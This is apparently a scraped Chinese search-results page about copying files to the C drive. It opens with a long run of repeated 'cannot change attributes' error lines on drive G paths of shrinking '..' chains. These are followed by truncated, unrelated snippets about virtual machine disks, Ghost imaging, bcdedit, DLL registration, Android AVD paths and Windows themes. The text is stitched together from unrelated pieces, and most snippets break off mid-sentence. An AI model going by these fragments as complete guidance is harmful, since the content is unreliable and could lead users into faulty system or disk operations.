    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..

    无法更改属性 - G:\..\..\..

    无法更改属性 - G:\..\..

    无法更改属性 - G:\..

    G:\>

    展开全文
  • 但是虚拟机太大了,C盘100G,D盘3T,D盘实际使用空间只有75G,但是他很聪明,没有把3T的vmdk文件拷贝给我,他新建了一个盘符E盘,把75个G的文件拷贝进E盘,再把E盘vmdk文件拷贝给我,同时也把C盘的vmdk文件拷贝给我...
  • 电脑系统中的硬盘但是有分盘符的,我们一般是需要按照类型的不同来决定放置的位置,出现一直乱放的情况就会导致硬盘文件乱七八糟的,就像将很多不必要的文件放置在c盘就会导致电脑卡顿。出现这样的问题要重装系统时...
  • 4、用PE里面的GHOST工具把GHO克隆进C盘。如下图:5、输入命令把启动信息指去你的ESP分区。如下图:6、此基本已经完成了,如果你的环境是VM虚拟机,则需要用记事本打开虚拟机的vmx文件,在最后添加firmware = "efi...
  • 今天给大家分享安装包的制作,相信各位做了一段时间的二次开发,都想把插件分享给他人使用,以往我们的方法是将dll及addin文件拷贝到c盘里。这样有些麻烦,也不易于插件的升级维护。我们使用安装包的方法可以实现...
  • 日常生活中,我们经常会在电脑磁盘之间的... 当我们按下 Ctrl + V 时,CPU 执行 “粘粘指令” 才会真正去拷贝文件,将文件起止地址取出,读取硬盘起止地址的数据内存中,将内存中的数据,写入硬盘新的起止地址里。
  • 尝试使用 64 位版本的 Python 或者拷贝 cookie 文件到对应位置。 #347 暂停时间超过一定长度(数分钟)之后 mpg123 停止输出,导致切换到下一首歌。此问题是 mpg123 的 bug,暂时无解决方案。 #791 版权问题,...
  • 2)一般光盘第一项菜单是将系统镜像恢复到C盘,这个命令如何来写?运行哪个文件? 3)即然是恢复镜像,ghost程序是必须要存在的,放置于何路径下?是否需要改名字? 4) 我所准备的win7.gho文件名是否需要...
  • 没有光驱怎么装系统

    2013-06-05 08:26:19
    不急,这个文件就在D:\xp 下的 I386 目http://osl.pin90.com录下,我们进入I386目录,运行安装程序 Winnt ,OK ,安装程序开始自检了并复制文件到C盘的临时文件夹,等待大概5-6分钟,文件复制完成,进入中文的安装...
  • 最近想把台式机上的虚拟机用U盘拷贝到笔记本上,但是U盘太小,又不想花钱买大的,只好自己动手用 C 写一个 拆分器和粘合器,把大文件拆分成若干小文件,这样就可以用U盘分片段运输,最后把片段文件粘合一下就行了。...
  • 首先得得到我们的常用词频,保存在ciku.ini中里面保存32280个词汇,保存形式如下...1)在C盘建立ciku文件夹,拷贝“词库提取”文件夹中的词库文件ciku.iniciku目录,最终得到的结果也会在C盘的ciku下面的output.ini里
  • vue-cli3.0怎么删除编辑...也可以拷贝这个文件到别的电脑,这样在新建项目的时候会使用同样的预设。 也可以在C盘全局搜索.vuerc 然后修改或者删除里边的内容。 然后修改或编辑里边得内容即可 下次启动项目生效! ...
  • 第二步:把你在C盘还需要的文件拷贝到其它磁盘,用ghost备份你的C:,以便你以后想还原,查检C盘大小是否大于20G.(安装完后7G左右) 第三步:用WinRAR解压软件解压cn_windows_7_ultimate_x86_dvd_x15-65907.iso...
  • 1.从正常的机器上拷贝文件到本机的才c:/windows/system32目录下即可。 2.或者从安装中提取该文件 记住:拷完后还要运行regsvr32 mshtmled.dll进行注册! 解决方法二: 1.开始”→“运行”,在弹出的“运行”...
  • 新建AVD找不路径的解决办法

    千次阅读 2014-08-19 09:23:28
    将android sdk拷贝到某个文件夹下(文件路径不含中文),运行AVD manager,...1、先在你机器上C盘中搜索“avd”文件夹,一般情况下应该在用户目录下的隐藏文件夹下,取消文件隐藏属性,找到该文件夹 2、拷贝".andr
  • C0l:台风波形文件 CAB:Microsoft压缩档案文件 CAD:Softdek的Drafix CAD文件 CAM:Casio照相机格式 CAP:压缩音乐文件格式 CAS:逗号分开的ASCⅡ文件 CCB:Visual Basic动态按钮配置文件 CCH:Corel图表...
  • 野生编程学习者在编程过程中需要用到一个dll文件拷贝过来之后进行注册时怎么也不行,在网上查了各种资料...无奈之下请教了专业人士,建议把dll文件其他盘,C盘没有写入权限。测试了一下不再报错,可以注册。 ...
  • 拷贝到hyper-v服务器上,结果怎么也无法引导启动,折腾了很长时间才发现是因为磁盘是gtp导致的。 1.使用PQ将磁盘改成 mbr; 2.启动虚拟机,使用windows 2008 安装进入命令提示符模式; 3.diskpart 激活系统分区 4...
  • bcdedit

    2013-08-04 20:55:40
    bcdedit是vista和windows7系统自带的命令行工具,在system32文件夹下,主要用于多系统的启动数据的配置和自定义winpe的启动...这是xp与vista双系统共存于C盘,我用的是xp,拷贝x86的bcdedit.exesystem32文件加下执行
  • bcdedit用法详解

    千次阅读 2012-02-10 13:37:42
    bcdedit是vista和windows7系统自带的命令行工具,在system32文件夹下,主要用于多系统的启动数据的配置和自定义winpe...这是xp与vista双系统共存于C盘,我用的是xp,拷贝x86的bcdedit.exesystem32文件加下执行的显示
  • 第二步:释放资源文件,将此包下的所有文件全部放到C:WINDOWSResourcesThemes里。 第三步:应用精彩主题,在Windows桌面的空白处单击右键选择“属性”打开属性对话框,在里面找找,很快你会找到你梦寐以求的那一款...
  • 第二步:释放资源文件,将此包下的所有文件全部放到C:WINDOWSResourcesThemes里。 第三步:应用精彩主题,在Windows桌面的空白处单击右键选择“属性”打开属性对话框,在里面找找,很快你会找到你梦寐以求的那一款...
  • 第二步:释放资源文件,将此包下的所有文件全部放到C:\WINDOWS\Resources\Themes里。 第三步:应用精彩主题,在Windows桌面的空白处单击右键选择“属性”打开属性对话框,在里面找找,很快你会找到你梦寐以求的那一款...
  • 第二步:释放资源文件,将此包下的所有文件全部放到C:WINDOWSResourcesThemes里。 第三步:应用精彩主题,在Windows桌面的空白处单击右键选择“属性”打开属性对话框,在里面找找,很快你会找到你梦寐以求的那一款...
  • JavaIO

    2020-10-15 20:50:53
    Java IO什么是IOIO的体系网络IO零拷贝NIOChannelBufferSelector 什么是IO 在学习IO之前,我们先要了解什么是IO,有什么用,怎么去使用。 I即是input,O则是output,也...打个比方,我在运行Java时需要将C盘下的一个叫t
  • 第二步:释放资源文件,将此包下的所有文件全部放到C:\WINDOWS\Resources\Themes里。 第三步:应用精彩主题,在Windows桌面的空白处单击右键选择“属性”打开属性对话框,在里面找 再见艾弗森电脑主题 xp版截图:

空空如也

空空如也

1 2 3
收藏数 54
精华内容 21
关键字:

怎么拷贝文件到c盘